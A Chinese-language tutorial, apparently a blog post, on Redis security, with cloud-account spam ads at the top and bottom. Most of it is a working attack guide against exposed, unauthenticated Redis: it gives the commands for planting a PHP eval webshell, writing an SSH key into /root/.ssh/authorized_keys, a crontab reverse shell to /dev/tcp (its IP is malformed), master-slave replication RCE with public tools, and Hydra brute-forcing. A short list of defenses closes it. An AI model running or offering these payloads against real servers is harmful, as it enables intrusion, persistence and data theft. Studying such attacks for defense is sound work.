Redis 安全汇总小结

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

Redis

redis 是一个C语言编写的 key-value 存储系统可基于内存亦可持久化的日志型、Key-Value数据库并提供多种语言的API。它通常被称为数据结构服务器因为值value可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。  Redis服务的默认端口是   6379。 

常用命令

  • 查看信息info
  • 删除所有数据库内容flushall
  • 刷新数据库flushdb
  • 查看所有键keys *使用select num可以查看键值数据
  • 设置变量set aaa “mi1k7ea”
  • 查看变量值get aaa
  • 查看备份文件路径config get dir
  • 设置备份文件路径config set dir dirpath
  • 查看备份文件名config get dbfilename
  • 设置备份文件名config set dbfilename filename
  • 保存备份文件save

漏洞环境搭建

这里搭建漏洞版本的Redis服务同时配置服务进行全网监听

# 下载并解压运行make
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make

# 进入src目录中将redis-server和redis-cli复制到/usr/bin目录下方便命令识别
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

# 将redis.conf复制到/etc/目录下
cd ..
cp redis.conf /etc/

# 编辑/etc/中的redis配置文件redis.conf
vim /etc/redis.conf
#	注释掉本地绑定允许除本地外的主机远程访问Redis服务
#	#bind 127.0.0.1
#	关闭保护模式允许远程连接Redis服务
#	protected-mode no   公网可连

# 使用/etc/目录下的redis.conf文件中的配置来启动Redis服务
redis-server /etc/redis.conf

链接 redis

redis-cli -h 公网IP或虚拟linux搭建的IP -p 6379

安全配置密码验证

我们可以通过Redis的配置文件设置密码参数这样客户端连接到Redis服务就需要密码验证这样可以让你的Redis服务更安全进而杜绝了未授权访问漏洞。

我们可以通过以下命令查看是否设置了密码验证

127.0.0.1:6379> CONFIG GET requirepass
1) "requirepass"
2) ""

默认情况下 requirepass 是控的这就意味着你不用密码就能链接Redis 服务器

可以使用以下命令来修改该参数

127.0.0.1:6379> CONFIG set requirepass "snowy"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "snowy"

这时候 你再 get reuirepass 的时候他就会提示需要认证否则无法执行命令

密码验证 用到AUTH命令如下

AHUTH password

 这时就可以执行命令了

 

Redis 漏洞攻击利用

Redis漏洞包括未授权访问漏洞所引起的一系列深入攻击利用以及其他一些已知的Redis CVE漏洞在CTF中 也是经常可以见到的

未授权访问漏洞

由于配置不正确的原因导致Redis 服务暴露在公网上(即绑定在0.0.0.0:6379),并且没有开启相关的认证添加相关安全策略的情况下会存在 未授权访问漏洞 

攻击者在未授权访问Redis的情况下可以获取数据库的所有数据、删除数据库数据等进一步地可以利用Redis相关方法来实现写入WebShell、写入Crontab定时任务、写入SSH公钥以及利用主从复制RCE等一系列的攻击利用将Redis未授权访问漏洞的危害无限放大。

敏感信息泄露与 数据库内容删除

因为我们前面介绍了知道 Redis 是以 key- value 的形式存储数据的而value 可以是很多种类型的数据如String array等我们使用Redis 的语句可以获取数据库中存储的敏感信息这里为了方便直接通过  keys *    来获取所有的键然后再通过get 命令 获取其value 。(keys * 相当于是数据库中 select * from * 的操作一般不会这么使用。)

 info 可以看到redis 版本OS内核配置文件路径等

 

向web 目录写入Webshell

前提是 Redis 所在的机器 开启了 Web 服务且已知 Web 服务目录路径

原理就是在Redis中插入一条数据将WebShell代码作为valuekey值随意然后通过修改数据库的默认路径为Web服务目录和默认的缓存文件为WebShell文件最后通过save命令以备份的方式把缓存的数据保存在文件里这样就可以在服务器端的Web目录下生成一个WebShell文件。

具体步骤就是先写入一哥含有 WebShell 代码的键值对然后设置 备份目录 为 Web 目录。接着设置备份名 为Webshell 的文件名最后通过save 命令保存文件到本地。 如

set payload "<?php @eval($_POST[c]);?>"  //key - value
config set dir /var/www/html/            // 修改数据库的默认路径为Web服务目录
config set dbfilename shell.php          //设置默认的缓存文件为WebShell文件
save                                     //保存

 在服务端是可以看到生成的shell.php 文件的其内容如下包含了一句话木马

 由于php 的容错性质该PHP代码是能够正常执行的

 

写入SSH公钥直接登录

前提是 Redis 服务是以root 权限运行的其作用可能是未授权登录了再种下个公钥以便后期登录(个人理解)

原理和前面一样的只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。

现在服务器上生成  公私钥

ssh-keygen -t rsa

ubuntu 获取公钥内容cat /home/ski12/.ssh/id_rsa.pub

centos 获取公钥内容cat /root/.ssh/id_rsa.pub

"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHNnmaLT5dN/AcIRmVEavvtmZ4nMj7D1kzVkUAPudpdy1UxrILT/UGRgCyLR4Fp/pSvjSooDsWW3uoGzMberOhiiv8Oa/0NLGlaa/9B84CWMXTNAKvB6ODDBHNrbREv1oNZ6JLLosohxlQ22aG17gM1YGiUnNoeOpXmJTaLAVTkkZZNQPRdnwg+eivAAT9iCzo1mwy80BZRrvEeNI3u5mGK5N0iZZIj765bG7VUTfyKa5Bkc00Dq4aIvUp7c2ZnDCmzcrCRbRkFTujh/mkMNXEzmMl7yE3HqEeMW0UcaRPDOINvgAW3A+4Ks4PJlJ4WGbTjm+wFPiHitDB8XywoKhn root@iZwz9338rfviy0xs1mckegZ\n\n"

通过Redis 客户端将公钥 内容写入到 /root/.ssh/authorized_keys 文件中注意保存key 的时候加上两个 \n  是为了避免和 Redis 里的其他缓存数据混合了

 此时 看到服务器种 /root/.ssh/目录就生成成功了一个authorized_keys 文件

 接着在  普通客户机上 使用密钥直接ssh 链接到服务端 即可得到shell

写入定时任务反弹shell~

该方法 只能CentOS 上使用刚好我就是centos。 Ubuntu、Debian上行不通。原因如下

  • 权限问题Ubuntu定时任务需要root权限
  • Redis备份文件存在乱码而Debian和Ubuntu对定时任务的格式校验很严格因此在Debian和Ubuntu上会报错而在CentOS上不会报错

 原理和前面是一样的只是备份的目录和文件名修改了下

config set dir /var/spool/cron/crontabs/     #设置默认目录
config set dbfilename root                   #设置缓存文件
set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.10.307/666 0>&1\n\n"  #反弹shell
save

 注意不同类型、版本的OS的crontabs所在路径会有所区别。

其他的利用

任何可利用Redis未授权访问漏洞来写文件的地方都能被进行恶意利用除了前面几项利用方式外还有以下收集的几个在Linux或Windows下的利用方式。

写入/etc/passwd文件实现任意账号密码重置访问的文章审核中... - FreeBuf网络安全行业门户

写入Windows启动项Redis未授权访问在windows下的利用-安全客 - 安全资讯平台

写入Windows MOFRedis未授权访问在windows下的利用-安全客 - 安全资讯平台

利用主从复制RCE

基本概念

如果把数据存储在单个Redis中而读写体量比较大的时候服务端的性能就会大受影响。为了应对这种情况Redis就提供了主从模式。

主从模式是指使用一哥Redis 作为主机其他Redis 则作为从机 也就是备用机。其中主机和从机数据相同主机只负责写从机只负责读通过读写分离可以大幅度减轻流量的压力即是一种通过牺牲空间来换取效率的缓解方式。

攻击利用

属于 未授权访问的一种利用方式

4.x、5.x 版本的Redis提供了主从模式。在 Redis 4.x 之后通过外部扩展可以在Redis中实现一个新的Redis命令构造恶意.so文件。在两个Redis实例设置主从模式的时候Redis的主机可以通过FULLRESYNC同步文件到从机上然后在从机上加载恶意so文件即可执行命令。

  • 全量复制是将数据库备份文件整个传输过去从机然后从机清空内存数据库将备份文件加载到数据库中
  • 部分复制只是将写命令发送给从机

因此 想要复制备份文件的话 就需要设置Redis 主机的传输方式为全量传输   

思路就是我们需要模拟协议 收发包就能伪装成  Redis主机  使被攻击的 Redis 服务器成为 从机  

利用工具如下

生成恶意so 文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

伪造Redis主机的脚本
git clone https://github.com/Ridter/redis-rce.git

首先要生成恶意so文件下载第一个工具然后make即可生成。

然后在攻击者机器上执行如下命令即可成功RCE

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

也可以使用此脚本脚本

wget https://github.com/n0b0dyCN/redis-rogue-server/

cd RedisModulesSDK/exp/

make

两者都能成功 但前提是 redis 的版本一定是 redis4.x-5.x的版本

 

用Hydra暴力破解Redis密码

kali自带 Hydra 对Redis密码进行暴力破解

hydra -P 字典 redis://ip

Python urllib CRLF注入打本地Redis服务

如果目标站点使用了Python漏洞版本的urllib库并且请求的url外部可控那么就可能存在内网被探测的风险如果本机或内网服务器中装有未授权访问漏洞的Redis那么服务器就存在被getshell的风险。

原理和组合SSRF漏洞完全一样通过CRLF注入来利用Redis向Crontab写入反弹shell的定时任务。

具体可参考Hack Redis via Python urllib HTTP Header Injection

历史CVE漏洞

Redis远程代码执行漏洞CVE-2016-8339

CVE-2015-8080

CVE-2015-4335

CVE-2013-7458

防御方法

  • 禁止公网开放Redis服务可以在防火墙上禁用6379端口
  • 修改Redis服务端口为其他非常见的端口号
  • 配置Redis的密码访问验证
  • 禁用不使用的高危命令
  • 重命名高危命令的名称
  • 以低权限运行Redis服务禁止用root等最高权限运行
  • 确保authorized_keys文件的安全尽量阻止其他用户添加新的公钥

参考链接

记一次Redis+Getshell经验分享 - FreeBuf网络安全行业门户

Redis 基于主从复制的RCE利用方式

Redis安全小结 [ Mi1k7ea ]

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: redis